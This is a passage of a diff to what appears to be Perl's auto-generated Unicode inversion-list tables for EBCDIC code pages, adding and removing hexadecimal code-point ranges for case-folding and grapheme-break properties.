+ 0x2126, + 0x2127, + 0x212A, + 0x212C, + 0x2132, + 0x2133, + 0x214E, + 0x214F, + 0x2160, + 0x2180, + 0x2183, + 0x2185, + 0x24B6, + 0x24EA, + 0x2C00, + 0x2C2F, + 0x2C30, + 0x2C5F, + 0x2C60, + 0x2C71, + 0x2C72, + 0x2C74, + 0x2C75, + 0x2C77, + 0x2C7E, + 0x2CE4, + 0x2CEB, + 0x2CEF, + 0x2CF2, + 0x2CF4, + 0x2D00, + 0x2D26, + 0x2D27, + 0x2D28, + 0x2D2D, + 0x2D2E, + 0xA640, + 0xA66E, + 0xA680, + 0xA69C, + 0xA722, + 0xA730, + 0xA732, + 0xA770, + 0xA779, + 0xA788, + 0xA78B, + 0xA78E, + 0xA790, + 0xA794, + 0xA796, + 0xA7AF, + 0xA7B0, + 0xA7B8, + 0xAB53, + 0xAB54, + 0xAB70, + 0xABC0, + 0xFB00, + 0xFB07, + 0xFB13, + 0xFB18, + 0xFF21, + 0xFF3B, + 0xFF41, + 0xFF5B, + 0x10400, + 0x10450, + 0x104B0, + 0x104D4, + 0x104D8, + 0x104FC, + 0x10C80, + 0x10CB3, + 0x10CC0, + 0x10CF3, + 0x118A0, + 0x118E0, + 0x1E900, + 0x1E944 +}; + +static const UV _Perl_Folds_To_Multi_Char_invlist[] = { /* for EBCDIC 037 */ + 59, /* Number of elements */ + 148565664, /* Version and data structure type */ + 1, /* 0 if the list starts at 0; + 1 if it starts at the element beyond 0 */ + 0x0, + 0x59, + 0x5A, + 0x130, + 0x131, + 0x149, + 0x14A, + 0x1F0, + 0x1F1, + 0x390, + 0x391, + 0x3B0, + 0x3B1, + 0x587, + 0x588, + 0x1E96, + 0x1E9B, + 0x1E9E, + 0x1E9F, + 0x1F50, + 0x1F51, + 0x1F52, + 0x1F53, + 0x1F54, + 0x1F55, + 0x1F56, + 0x1F57, + 0x1F80, + 0x1FB0, + 0x1FB2, + 0x1FB5, + 0x1FB6, + 0x1FB8, + 0x1FBC, + 0x1FBD, + 0x1FC2, + 0x1FC5, + 0x1FC6, + 0x1FC8, + 0x1FCC, + 0x1FCD, + 0x1FD2, + 0x1FD4, + 0x1FD6, + 0x1FD8, + 0x1FE2, + 0x1FE5, + 0x1FE6, + 0x1FE8, + 0x1FF2, + 0x1FF5, + 0x1FF6, + 0x1FF8, + 0x1FFC, + 0x1FFD, + 0xFB00, + 0xFB07, + 0xFB13, + 0xFB18 +}; + +#endif /* defined(PERL_IN_REGCOMP_C) */ + +#if defined(PERL_IN_PERL_C) + +static const UV _Perl_GCB_invlist[] = { /* for EBCDIC 037 */ + 1615, /* Number of elements */ + 148565664, /* Version and data structure type */ + 0, /* 0 if the list starts at 0; + 1 if it starts at the element beyond 0 */ + 0x0, + 0xD, + 0xE, + 0x25, + 0x26, + 0x40, + 0xCA, + 0xCB, + 0xFF, + 0x100, + 0x300, + 0x370, + 0x483, + 0x48A, + 0x591, + 0x5BE, + 0x5BF, + 0x5C0, + 0x5C1, + 0x5C3, + 0x5C4, + 0x5C6, + 0x5C7, + 0x5C8, + 0x600, + 0x606, + 0x610, + 0x61B, + 0x61C, + 0x61D, 0x64B, - 0x66E, + 0x660, 0x670, 0x671, - 0x6D4, - 0x6D5, 0x6D6, + 0x6DD, + 0x6DE, + 0x6DF, 0x6E5, 0x6E7, + 0x6E9, + 0x6EA, 0x6EE, - 0x6F0, - 0x6FA, - 0x6FD, - 0x6FF, - 0x700, + 0x70F, 0x710, 0x711, 0x712, 0x730, - 0x74D, + 0x74B, 0x7A6, 0x7B1, - 0x7B2, - 0x7CA, 0x7EB, 0x7F4, - 0x7F6, - 0x7FA, - 0x7FB, - 0x800, 0x816, 0x81A, 0x81B, @@ -353996,451 +65510,395 @@ static const UV PL_WB__LE_invlist[] = { /* for EBCDIC 1047 */ 0x825, 0x828, 0x829, - 0x840, + 0x82E, 0x859, - 0x860, - 0x86B, - 0x8A0, - 0x8B5, - 0x8B6, - 0x8BE, + 0x85C, + 0x8D4, + 0x8E2, + 0x8E3, + 0x903, 0x904, 0x93A, + 0x93B, + 0x93C, 0x93D, 0x93E, + 0x941, + 0x949, + 0x94D, + 0x94E, 0x950, 0x951, 0x958, 0x962, - 0x971, + 0x964, 0x981, - 0x985, - 0x98D, - 0x98F, - 0x991, - 0x993, - 0x9A9, - 0x9AA, - 0x9B1, - 0x9B2, - 0x9B3, - 0x9B6, - 0x9BA, + 0x982, + 0x984, + 0x9BC, 0x9BD, 0x9BE, + 0x9BF, + 0x9C1, + 0x9C5, + 0x9C7, + 0x9C9, + 0x9CB, + 0x9CD, 0x9CE, - 0x9CF, - 0x9DC, - 0x9DE, - 0x9DF, + 0x9D7, + 0x9D8, 0x9E2, - 0x9F0, - 0x9F2, - 0x9FC, - 0x9FD, - 0xA05, - 0xA0B, - 0xA0F, - 0xA11, - 0xA13, - 0xA29, - 0xA2A, - 0xA31, - 0xA32, - 0xA34, - 0xA35, - 0xA37, - 0xA38, - 0xA3A, - 0xA59, - 0xA5D, - 0xA5E, - 0xA5F, + 0x9E4, + 0xA01, + 0xA03, + 0xA04, + 0xA3C, + 0xA3D, + 0xA3E, + 0xA41, + 0xA43, + 0xA47, + 0xA49, + 0xA4B, + 0xA4E, + 0xA51, + 0xA52, + 0xA70, 0xA72, 0xA75, - 0xA85, - 0xA8E, - 0xA8F, - 0xA92, - 0xA93, - 0xAA9, - 0xAAA, - 0xAB1, - 0xAB2, - 0xAB4, - 0xAB5, - 0xABA, + 0xA76, + 0xA81, + 0xA83, + 0xA84, + 0xABC, 0xABD, 0xABE, - 0xAD0, - 0xAD1, - 0xAE0, + 0xAC1, + 0xAC6, + 0xAC7, + 0xAC9, + 0xACA, + 0xACB, + 0xACD, + 0xACE, 0xAE2, - 0xAF9, - 0xAFA, - 0xB05, - 0xB0D, - 0xB0F, - 0xB11, - 0xB13, - 0xB29, - 0xB2A, - 0xB31, - 0xB32, - 0xB34, - 0xB35, - 0xB3A, + 0xAE4, + 0xB01, + 0xB02, + 0xB04, + 0xB3C, 0xB3D, 0xB3E, - 0xB5C, - 0xB5E, - 0xB5F, + 0xB40, + 0xB41, + 0xB45, + 0xB47, + 0xB49, + 0xB4B, + 0xB4D, + 0xB4E, + 0xB56, + 0xB58, 0xB62, - 0xB71, - 0xB72, + 0xB64, + 0xB82, 0xB83, - 0xB84, - 0xB85, - 0xB8B, - 0xB8E, - 0xB91, - 0xB92, - 0xB96, - 0xB99, - 0xB9B, - 0xB9C, - 0xB9D, - 0xB9E, - 0xBA0, - 0xBA3, - 0xBA5, - 0xBA8, - 0xBAB, - 0xBAE, - 0xBBA, - 0xBD0, - 0xBD1, - 0xC05, - 0xC0D, - 0xC0E, - 0xC11, - 0xC12, - 0xC29, - 0xC2A, - 0xC3A, - 0xC3D, + 0xBBE, + 0xBBF, + 0xBC0, + 0xBC1, + 0xBC3, + 0xBC6, + 0xBC9, + 0xBCA, + 0xBCD, + 0xBCE, + 0xBD7, + 0xBD8, + 0xC00, + 0xC01, + 0xC04, 0xC3E, - 0xC58, - 0xC5B, - 0xC60, + 0xC41, + 0xC45, + 0xC46, + 0xC49, + 0xC4A, + 0xC4E, + 0xC55, + 0xC57, 0xC62, - 0xC80, + 0xC64, 0xC81, - 0xC85, - 0xC8D, - 0xC8E, - 0xC91, - 0xC92, - 0xCA9, - 0xCAA, - 0xCB4, - 0xCB5, - 0xCBA, + 0xC82, + 0xC84, + 0xCBC, 0xCBD, 0xCBE, - 0xCDE, - 0xCDF, - 0xCE0, + 0xCBF, + 0xCC0, + 0xCC2, + 0xCC3, + 0xCC5, + 0xCC6, + 0xCC7, + 0xCC9, + 0xCCA, + 0xCCC, + 0xCCE, + 0xCD5, + 0xCD7, 0xCE2, - 0xCF1, - 0xCF3, - 0xD05, - 0xD0D, - 0xD0E, - 0xD11, - 0xD12, - 0xD3B, - 0xD3D, + 0xCE4, + 0xD01, + 0xD02, + 0xD04, 0xD3E, + 0xD3F, + 0xD41, + 0xD45, + 0xD46, + 0xD49, + 0xD4A, + 0xD4D, 0xD4E, 0xD4F, - 0xD54, 0xD57, - 0xD5F, + 0xD58, 0xD62, - 0xD7A, - 0xD80, - 0xD85, - 0xD97, - 0xD9A, - 0xDB2, - 0xDB3, - 0xDBC, - 0xDBD, - 0xDBE, - 0xDC0, - 0xDC7, - 0xF00, - 0xF01, + 0xD64, + 0xD82, + 0xD84, + 0xDCA, + 0xDCB, + 0xDCF, + 0xDD0, + 0xDD2, + 0xDD5, + 0xDD6, + 0xDD7, + 0xDD8, + 0xDDF, + 0xDE0, + 0xDF2, + 0xDF4, + 0xE31, + 0xE32, + 0xE33, + 0xE34, + 0xE3B, + 0xE47, + 0xE4F, + 0xEB1, + 0xEB2, + 0xEB3, + 0xEB4, + 0xEBA, + 0xEBB, + 0xEBD, + 0xEC8, + 0xECE, + 0xF18, + 0xF1A, + 0xF35, + 0xF36, + 0xF37, + 0xF38, + 0xF39, + 0xF3A, + 0xF3E, 0xF40, - 0xF48, - 0xF49, - 0xF6D, + 0xF71, + 0xF7F, + 0xF80, + 0xF85, + 0xF86, 0xF88, 0xF8D, - 0x10A0, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x10D0, - 0x10FB, - 0x10FC, - 0x1249, - 0x124A, - 0x124E, - 0x1250, - 0x1257, - 0x1258, - 0x1259, - 0x125A, - 0x125E, - 0x1260, - 0x1289, - 0x128A, - 0x128E, - 0x1290, - 0x12B1, - 0x12B2, - 0x12B6, - 0x12B8, - 0x12BF, - 0x12C0, - 0x12C1, - 0x12C2, - 0x12C6, - 0x12C8, - 0x12D7, - 0x12D8, - 0x1311, - 0x1312, - 0x1316, - 0x1318, - 0x135B, - 0x1380, - 0x1390, - 0x13A0, - 0x13F6, - 0x13F8, - 0x13FE, - 0x1401, - 0x166D, - 0x166F, - 0x1680, - 0x1681, - 0x169B, - 0x16A0, - 0x16EB, - 0x16EE, - 0x16F9, - 0x1700, - 0x170D, - 0x170E, + 0xF98, + 0xF99, + 0xFBD, + 0xFC6, + 0xFC7, + 0x102D, + 0x1031, + 0x1032, + 0x1038, + 0x1039, + 0x103B, + 0x103D, + 0x103F, + 0x1056, + 0x1058, + 0x105A, + 0x105E, + 0x1061, + 0x1071, + 0x1075, + 0x1082, + 0x1083, + 0x1084, + 0x1085, + 0x1087, + 0x108D, + 0x108E, + 0x109D, + 0x109E, + 0x1100, + 0x1160, + 0x11A8, + 0x1200, + 0x135D, + 0x1360, 0x1712, - 0x1720, + 0x1715, 0x1732, - 0x1740, + 0x1735, 0x1752, - 0x1760, - 0x176D, - 0x176E, - 0x1771, - 0x1820, - 0x1878, - 0x1880, + 0x1754, + 0x1772, + 0x1774, + 0x17B4, + 0x17B6, + 0x17B7, + 0x17BE, + 0x17C6, + 0x17C7, + 0x17C9, + 0x17D4, + 0x17DD, + 0x17DE, + 0x180B, + 0x180E, + 0x180F, 0x1885, 0x1887, 0x18A9, 0x18AA, - 0x18AB, - 0x18B0, - 0x18F6, - 0x1900, - 0x191F, - 0x1A00, + 0x1920, + 0x1923, + 0x1927, + 0x1929, + 0x192C, + 0x1930, + 0x1932, + 0x1933, + 0x1939, + 0x193C, 0x1A17, + 0x1A19, + 0x1A1B, + 0x1A1C, + 0x1A55, + 0x1A56, + 0x1A57, + 0x1A58, + 0x1A5F, + 0x1A60, + 0x1A61, + 0x1A62, + 0x1A63, + 0x1A65, + 0x1A6D, + 0x1A73, + 0x1A7D, + 0x1A7F, + 0x1A80, + 0x1AB0, + 0x1ABF, + 0x1B00, + 0x1B04, 0x1B05, 0x1B34, + 0x1B35, + 0x1B36, + 0x1B3B, + 0x1B3C, + 0x1B3D, + 0x1B42, + 0x1B43, 0x1B45, - 0x1B4C, + 0x1B6B, + 0x1B74, + 0x1B80, + 0x1B82, 0x1B83, 0x1BA1, + 0x1BA2, + 0x1BA6, + 0x1BA8, + 0x1BAA, + 0x1BAB, 0x1BAE, - 0x1BB0, - 0x1BBA, 0x1BE6, - 0x1C00, + 0x1BE7, + 0x1BE8, + 0x1BEA, + 0x1BED, + 0x1BEE, + 0x1BEF, + 0x1BF2, + 0x1BF4, 0x1C24, - 0x1C4D, - 0x1C50, - 0x1C5A, - 0x1C7E, - 0x1C80, - 0x1C89, + 0x1C2C, + 0x1C34, + 0x1C36, + 0x1C38, + 0x1CD0, + 0x1CD3, + 0x1CD4, + 0x1CE1, + 0x1CE2, 0x1CE9, 0x1CED, 0x1CEE, 0x1CF2, + 0x1CF4, 0x1CF5, - 0x1CF7, - 0x1D00, + 0x1CF8, + 0x1CFA, 0x1DC0, + 0x1DF6, + 0x1DFB, 0x1E00, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FBD, - 0x1FBE, - 0x1FBF, - 0x1FC2, - 0x1FC5, - 0x1FC6, - 0x1FCD, - 0x1FD0, - 0x1FD4, - 0x1FD6, - 0x1FDC, - 0x1FE0, - 0x1FED, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FFD, - 0x2071, - 0x2072, - 0x207F, - 0x2080, - 0x2090, - 0x209D, - 0x2102, - 0x2103, - 0x2107, - 0x2108, - 0x210A, - 0x2114, - 0x2115, - 0x2116, - 0x2119, - 0x211E, - 0x2124, - 0x2125, - 0x2126, - 0x2127, - 0x2128, - 0x2129, - 0x212A, - 0x212E, - 0x212F, - 0x213A, - 0x213C, - 0x2140, - 0x2145, - 0x214A, - 0x214E, - 0x214F, - 0x2160, - 0x2189, - 0x24B6, - 0x24EA, - 0x2C00, - 0x2C2F, - 0x2C30, - 0x2C5F, - 0x2C60, - 0x2CE5, - 0x2CEB, + 0x200B, + 0x200C, + 0x200D, + 0x200E, + 0x2010, + 0x2028, + 0x202F, + 0x2060, + 0x2070, + 0x20D0, + 0x20F1, + 0x261D, + 0x261E, + 0x26F9, + 0x26FA, + 0x270A, + 0x270E, + 0x2764, + 0x2765, 0x2CEF, 0x2CF2, - 0x2CF4, - 0x2D00, - 0x2D26, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E, - 0x2D30, - 0x2D68, - 0x2D6F, - 0x2D70, + 0x2D7F, 0x2D80, - 0x2D97, - 0x2DA0, - 0x2DA7, - 0x2DA8, - 0x2DAF, - 0x2DB0, - 0x2DB7, - 0x2DB8, - 0x2DBF, - 0x2DC0, - 0x2DC7, - 0x2DC8, - 0x2DCF, - 0x2DD0, - 0x2DD7, - 0x2DD8, - 0x2DDF, - 0x2E2F, - 0x2E30, - 0x3005, - 0x3006, - 0x303B, - 0x303D, - 0x3105, - 0x312F, - 0x3131, - 0x318F, - 0x31A0, - 0x31BB, - 0xA000, - 0xA48D, - 0xA4D0, - 0xA4FE, - 0xA500, - 0xA60D, - 0xA610, - 0xA620, - 0xA62A, - 0xA62C, - 0xA640, + 0x2DE0, + 0x2E00, + 0x302A, + 0x3030, + 0x3099, + 0x309B, 0xA66F, - 0xA67F, + 0xA673, + 0xA674, + 0xA67E, 0xA69E, 0xA6A0, 0xA6F0, - 0xA717, - 0xA7AF, - 0xA7B0, - 0xA7B8, - 0xA7F7, + 0xA6F2, 0xA802, 0xA803, 0xA806, @@ -354448,491 +65906,2819 @@ static const UV PL_WB__LE_invlist[] = { /* for EBCDIC 1047 */ 0xA80B, 0xA80C, 0xA823, - 0xA840, - 0xA874, + 0xA825, + 0xA827, + 0xA828, + 0xA880, 0xA882, 0xA8B4, + 0xA8C4, + 0xA8C6, + 0xA8E0, 0xA8F2, - 0xA8F8, - 0xA8FB, - 0xA8FC, - 0xA8FD, - 0xA8FE, - 0xA90A, 0xA926, - 0xA930, + 0xA92E, 0xA947, + 0xA952, + 0xA954, 0xA960, 0xA97D, + 0xA980, + 0xA983, 0xA984, 0xA9B3, - 0xA9CF, - 0xA9D0, - 0xAA00, + 0xA9B4, + 0xA9B6, + 0xA9BA, + 0xA9BC, + 0xA9BD, + 0xA9C1, + 0xA9E5, + 0xA9E6, 0xAA29, - 0xAA40, + 0xAA2F, + 0xAA31, + 0xAA33, + 0xAA35, + 0xAA37, 0xAA43, 0xAA44, 0xAA4C, - 0xAAE0, + 0xAA4D, + 0xAA4E, + 0xAA7C, + 0xAA7D, + 0xAAB0, + 0xAAB1, + 0xAAB2, + 0xAAB5, + 0xAAB7, + 0xAAB9, + 0xAABE, + 0xAAC0, + 0xAAC1, + 0xAAC2, 0xAAEB, - 0xAAF2, + 0xAAEC, + 0xAAEE, + 0xAAF0, 0xAAF5, - 0xAB01, - 0xAB07, - 0xAB09, - 0xAB0F, - 0xAB11, - 0xAB17, - 0xAB20, - 0xAB27, - 0xAB28, - 0xAB2F, - 0xAB30, - 0xAB66, - 0xAB70, + 0xAAF6, + 0xAAF7, 0xABE3, + 0xABE5, + 0xABE6, + 0xABE8, + 0xABE9, + 0xABEB, + 0xABEC, + 0xABED, + 0xABEE, 0xAC00, + 0xAC01, + 0xAC1C, + 0xAC1D, + 0xAC38, + 0xAC39, + 0xAC54, + 0xAC55, + 0xAC70, + 0xAC71, + 0xAC8C, + 0xAC8D, + 0xACA8, + 0xACA9, + 0xACC4, + 0xACC5, + 0xACE0, + 0xACE1, + 0xACFC, + 0xACFD, + 0xAD18, + 0xAD19, + 0xAD34, + 0xAD35, + 0xAD50, + 0xAD51, + 0xAD6C, + 0xAD6D, + 0xAD88, + 0xAD89, + 0xADA4, + 0xADA5, + 0xADC0, + 0xADC1, + 0xADDC, + 0xADDD, + 0xADF8, + 0xADF9, + 0xAE14, + 0xAE15, + 0xAE30, + 0xAE31, + 0xAE4C, + 0xAE4D, + 0xAE68, + 0xAE69, + 0xAE84, + 0xAE85, + 0xAEA0, + 0xAEA1, + 0xAEBC, + 0xAEBD, + 0xAED8, + 0xAED9, + 0xAEF4, + 0xAEF5, + 0xAF10, + 0xAF11, + 0xAF2C, + 0xAF2D, + 0xAF48, + 0xAF49, + 0xAF64, + 0xAF65, + 0xAF80, + 0xAF81, + 0xAF9C, + 0xAF9D, + 0xAFB8, + 0xAFB9, + 0xAFD4, + 0xAFD5, + 0xAFF0, + 0xAFF1, + 0xB00C, + 0xB00D, + 0xB028, + 0xB029, + 0xB044, + 0xB045, + 0xB060, + 0xB061, + 0xB07C, + 0xB07D, + 0xB098, + 0xB099, + 0xB0B4, + 0xB0B5, + 0xB0D0, + 0xB0D1, + 0xB0EC, + 0xB0ED, + 0xB108, + 0xB109, + 0xB124, + 0xB125, + 0xB140, + 0xB141, + 0xB15C, + 0xB15D, + 0xB178, + 0xB179, + 0xB194, + 0xB195, + 0xB1B0, + 0xB1B1, + 0xB1CC, + 0xB1CD, + 0xB1E8, + 0xB1E9, + 0xB204, + 0xB205, + 0xB220, + 0xB221, + 0xB23C, + 0xB23D, + 0xB258, + 0xB259, + 0xB274, + 0xB275, + 0xB290, + 0xB291, + 0xB2AC, + 0xB2AD, + 0xB2C8, + 0xB2C9, + 0xB2E4, + 0xB2E5, + 0xB300, + 0xB301, + 0xB31C, + 0xB31D, + 0xB338, + 0xB339, + 0xB354, + 0xB355, + 0xB370, + 0xB371, + 0xB38C, + 0xB38D, + 0xB3A8, + 0xB3A9, + 0xB3C4, + 0xB3C5, + 0xB3E0, + 0xB3E1, + 0xB3FC, + 0xB3FD, + 0xB418, + 0xB419, + 0xB434, + 0xB435, + 0xB450, + 0xB451, + 0xB46C, + 0xB46D, + 0xB488, + 0xB489, + 0xB4A4, + 0xB4A5, + 0xB4C0, + 0xB4C1, + 0xB4DC, + 0xB4DD, + 0xB4F8, + 0xB4F9, + 0xB514, + 0xB515, + 0xB530, + 0xB531, + 0xB54C, + 0xB54D, + 0xB568, + 0xB569, + 0xB584, + 0xB585, + 0xB5A0, + 0xB5A1, + 0xB5BC, + 0xB5BD, + 0xB5D8, + 0xB5D9, + 0xB5F4, + 0xB5F5, + 0xB610, + 0xB611, + 0xB62C, + 0xB62D, + 0xB648, + 0xB649, + 0xB664, + 0xB665, + 0xB680, + 0xB681, + 0xB69C, + 0xB69D, + 0xB6B8, + 0xB6B9, + 0xB6D4, + 0xB6D5, + 0xB6F0, + 0xB6F1, + 0xB70C, + 0xB70D, + 0xB728, + 0xB729, + 0xB744, + 0xB745, + 0xB760, + 0xB761, + 0xB77C, + 0xB77D, + 0xB798, + 0xB799, + 0xB7B4, + 0xB7B5, + 0xB7D0, + 0xB7D1, + 0xB7EC, + 0xB7ED, + 0xB808, + 0xB809, + 0xB824, + 0xB825, + 0xB840, + 0xB841, + 0xB85C, + 0xB85D, + 0xB878, + 0xB879, + 0xB894, + 0xB895, + 0xB8B0, + 0xB8B1, + 0xB8CC, + 0xB8CD, + 0xB8E8, + 0xB8E9, + 0xB904, + 0xB905, + 0xB920, + 0xB921, + 0xB93C, + 0xB93D, + 0xB958, + 0xB959, + 0xB974, + 0xB975, + 0xB990, + 0xB991, + 0xB9AC, + 0xB9AD, + 0xB9C8, + 0xB9C9, + 0xB9E4, + 0xB9E5, + 0xBA00, + 0xBA01, + 0xBA1C, + 0xBA1D, + 0xBA38, + 0xBA39, + 0xBA54, + 0xBA55, + 0xBA70, + 0xBA71, + 0xBA8C, + 0xBA8D, + 0xBAA8, + 0xBAA9, + 0xBAC4, + 0xBAC5, + 0xBAE0, + 0xBAE1, + 0xBAFC, + 0xBAFD, + 0xBB18, + 0xBB19, + 0xBB34, + 0xBB35, + 0xBB50, + 0xBB51, + 0xBB6C, + 0xBB6D, + 0xBB88, + 0xBB89, + 0xBBA4, + 0xBBA5, + 0xBBC0, + 0xBBC1, + 0xBBDC, + 0xBBDD, + 0xBBF8, + 0xBBF9, + 0xBC14, + 0xBC15, + 0xBC30, + 0xBC31, + 0xBC4C, + 0xBC4D, + 0xBC68, + 0xBC69, + 0xBC84, + 0xBC85, + 0xBCA0, + 0xBCA1, + 0xBCBC, + 0xBCBD, + 0xBCD8, + 0xBCD9, + 0xBCF4, + 0xBCF5, + 0xBD10, + 0xBD11, + 0xBD2C, + 0xBD2D, + 0xBD48, + 0xBD49, + 0xBD64, + 0xBD65, + 0xBD80, + 0xBD81, + 0xBD9C, + 0xBD9D, + 0xBDB8, + 0xBDB9, + 0xBDD4, + 0xBDD5, + 0xBDF0, + 0xBDF1, + 0xBE0C, + 0xBE0D, + 0xBE28, + 0xBE29, + 0xBE44, + 0xBE45, + 0xBE60, + 0xBE61, + 0xBE7C, + 0xBE7D, + 0xBE98, + 0xBE99, + 0xBEB4, + 0xBEB5, + 0xBED0, + 0xBED1, + 0xBEEC, + 0xBEED, + 0xBF08, + 0xBF09, + 0xBF24, + 0xBF25, + 0xBF40, + 0xBF41, + 0xBF5C, + 0xBF5D, + 0xBF78, + 0xBF79, + 0xBF94, + 0xBF95, + 0xBFB0, + 0xBFB1, + 0xBFCC, + 0xBFCD, + 0xBFE8, + 0xBFE9, + 0xC004, + 0xC005, + 0xC020, + 0xC021, + 0xC03C, + 0xC03D, + 0xC058, + 0xC059, + 0xC074, + 0xC075, + 0xC090, + 0xC091, + 0xC0AC, + 0xC0AD, + 0xC0C8, + 0xC0C9, + 0xC0E4, + 0xC0E5, + 0xC100, + 0xC101, + 0xC11C, + 0xC11D, + 0xC138, + 0xC139, + 0xC154, + 0xC155, + 0xC170, + 0xC171, + 0xC18C, + 0xC18D, + 0xC1A8, + 0xC1A9, + 0xC1C4, + 0xC1C5, + 0xC1E0, + 0xC1E1, + 0xC1FC, + 0xC1FD, + 0xC218, + 0xC219, + 0xC234, + 0xC235, + 0xC250, + 0xC251, + 0xC26C, + 0xC26D, + 0xC288, + 0xC289, + 0xC2A4, + 0xC2A5, + 0xC2C0, + 0xC2C1, + 0xC2DC, + 0xC2DD, + 0xC2F8, + 0xC2F9, + 0xC314, + 0xC315, + 0xC330, + 0xC331, + 0xC34C, + 0xC34D, + 0xC368, + 0xC369, + 0xC384, + 0xC385, + 0xC3A0, + 0xC3A1, + 0xC3BC, + 0xC3BD, + 0xC3D8, + 0xC3D9, + 0xC3F4, + 0xC3F5, + 0xC410, + 0xC411, + 0xC42C, + 0xC42D, + 0xC448, + 0xC449, + 0xC464, + 0xC465, + 0xC480, + 0xC481, + 0xC49C, + 0xC49D, + 0xC4B8, + 0xC4B9, + 0xC4D4, + 0xC4D5, + 0xC4F0, + 0xC4F1, + 0xC50C, + 0xC50D, + 0xC528, + 0xC529, + 0xC544, + 0xC545, + 0xC560, + 0xC561, + 0xC57C, + 0xC57D, + 0xC598, + 0xC599, + 0xC5B4, + 0xC5B5, + 0xC5D0, + 0xC5D1, + 0xC5EC, + 0xC5ED, + 0xC608, + 0xC609, + 0xC624, + 0xC625, + 0xC640, + 0xC641, + 0xC65C, + 0xC65D, + 0xC678, + 0xC679, + 0xC694, + 0xC695, + 0xC6B0, + 0xC6B1, + 0xC6CC, + 0xC6CD, + 0xC6E8, + 0xC6E9, + 0xC704, + 0xC705, + 0xC720, + 0xC721, + 0xC73C, + 0xC73D, + 0xC758, + 0xC759, + 0xC774, + 0xC775, + 0xC790, + 0xC791, + 0xC7AC, + 0xC7AD, + 0xC7C8, + 0xC7C9, + 0xC7E4, + 0xC7E5, + 0xC800, + 0xC801, + 0xC81C, + 0xC81D, + 0xC838, + 0xC839, + 0xC854, + 0xC855, + 0xC870, + 0xC871, + 0xC88C, + 0xC88D, + 0xC8A8, + 0xC8A9, + 0xC8C4, + 0xC8C5, + 0xC8E0, + 0xC8E1, + 0xC8FC, + 0xC8FD, + 0xC918, + 0xC919, + 0xC934, + 0xC935, + 0xC950, + 0xC951, + 0xC96C, + 0xC96D, + 0xC988, + 0xC989, + 0xC9A4, + 0xC9A5, + 0xC9C0, + 0xC9C1, + 0xC9DC, + 0xC9DD, + 0xC9F8, + 0xC9F9, + 0xCA14, + 0xCA15, + 0xCA30, + 0xCA31, + 0xCA4C, + 0xCA4D, + 0xCA68, + 0xCA69, + 0xCA84, + 0xCA85, + 0xCAA0, + 0xCAA1, + 0xCABC, + 0xCABD, + 0xCAD8, + 0xCAD9, + 0xCAF4, + 0xCAF5, + 0xCB10, + 0xCB11, + 0xCB2C, + 0xCB2D, + 0xCB48, + 0xCB49, + 0xCB64, + 0xCB65, + 0xCB80, + 0xCB81, + 0xCB9C, + 0xCB9D, + 0xCBB8, + 0xCBB9, + 0xCBD4, + 0xCBD5, + 0xCBF0, + 0xCBF1, + 0xCC0C, + 0xCC0D, + 0xCC28, + 0xCC29, + 0xCC44, + 0xCC45, + 0xCC60, + 0xCC61, + 0xCC7C, + 0xCC7D, + 0xCC98, + 0xCC99, + 0xCCB4, + 0xCCB5, + 0xCCD0, + 0xCCD1, + 0xCCEC, + 0xCCED, + 0xCD08, + 0xCD09, + 0xCD24, + 0xCD25, + 0xCD40, + 0xCD41, + 0xCD5C, + 0xCD5D, + 0xCD78, + 0xCD79, + 0xCD94, + 0xCD95, + 0xCDB0, + 0xCDB1, + 0xCDCC, + 0xCDCD, + 0xCDE8, + 0xCDE9, + 0xCE04, + 0xCE05, + 0xCE20, + 0xCE21, + 0xCE3C, + 0xCE3D, + 0xCE58, + 0xCE59, + 0xCE74, + 0xCE75, + 0xCE90, + 0xCE91, + 0xCEAC, + 0xCEAD, + 0xCEC8, + 0xCEC9, + 0xCEE4, + 0xCEE5, + 0xCF00, + 0xCF01, + 0xCF1C, + 0xCF1D, + 0xCF38, + 0xCF39, + 0xCF54, + 0xCF55, + 0xCF70, + 0xCF71, + 0xCF8C, + 0xCF8D, + 0xCFA8, + 0xCFA9, + 0xCFC4, + 0xCFC5, + 0xCFE0, + 0xCFE1, + 0xCFFC, + 0xCFFD, + 0xD018, + 0xD019, + 0xD034, + 0xD035, + 0xD050, + 0xD051, + 0xD06C, + 0xD06D, + 0xD088, + 0xD089, + 0xD0A4, + 0xD0A5, + 0xD0C0, + 0xD0C1, + 0xD0DC, + 0xD0DD, + 0xD0F8, + 0xD0F9, + 0xD114, + 0xD115, + 0xD130, + 0xD131, + 0xD14C, + 0xD14D, + 0xD168, + 0xD169, + 0xD184, + 0xD185, + 0xD1A0, + 0xD1A1, + 0xD1BC, + 0xD1BD, + 0xD1D8, + 0xD1D9, + 0xD1F4, + 0xD1F5, + 0xD210, + 0xD211, + 0xD22C, + 0xD22D, + 0xD248, + 0xD249, + 0xD264, + 0xD265, + 0xD280, + 0xD281, + 0xD29C, + 0xD29D, + 0xD2B8, + 0xD2B9, + 0xD2D4, + 0xD2D5, + 0xD2F0, + 0xD2F1, + 0xD30C, + 0xD30D, + 0xD328, + 0xD329, + 0xD344, + 0xD345, + 0xD360, + 0xD361, + 0xD37C, + 0xD37D, + 0xD398, + 0xD399, + 0xD3B4, + 0xD3B5, + 0xD3D0, + 0xD3D1, + 0xD3EC, + 0xD3ED, + 0xD408, + 0xD409, + 0xD424, + 0xD425, + 0xD440, + 0xD441, + 0xD45C, + 0xD45D, + 0xD478, + 0xD479, + 0xD494, + 0xD495, + 0xD4B0, + 0xD4B1, + 0xD4CC, + 0xD4CD, + 0xD4E8, + 0xD4E9, + 0xD504, + 0xD505, + 0xD520, + 0xD521, + 0xD53C, + 0xD53D, + 0xD558, + 0xD559, + 0xD574, + 0xD575, + 0xD590, + 0xD591, + 0xD5AC, + 0xD5AD, + 0xD5C8, + 0xD5C9, + 0xD5E4, + 0xD5E5, + 0xD600, + 0xD601, + 0xD61C, + 0xD61D, + 0xD638, + 0xD639, + 0xD654, + 0xD655, + 0xD670, + 0xD671, + 0xD68C, + 0xD68D, + 0xD6A8, + 0xD6A9, + 0xD6C4, + 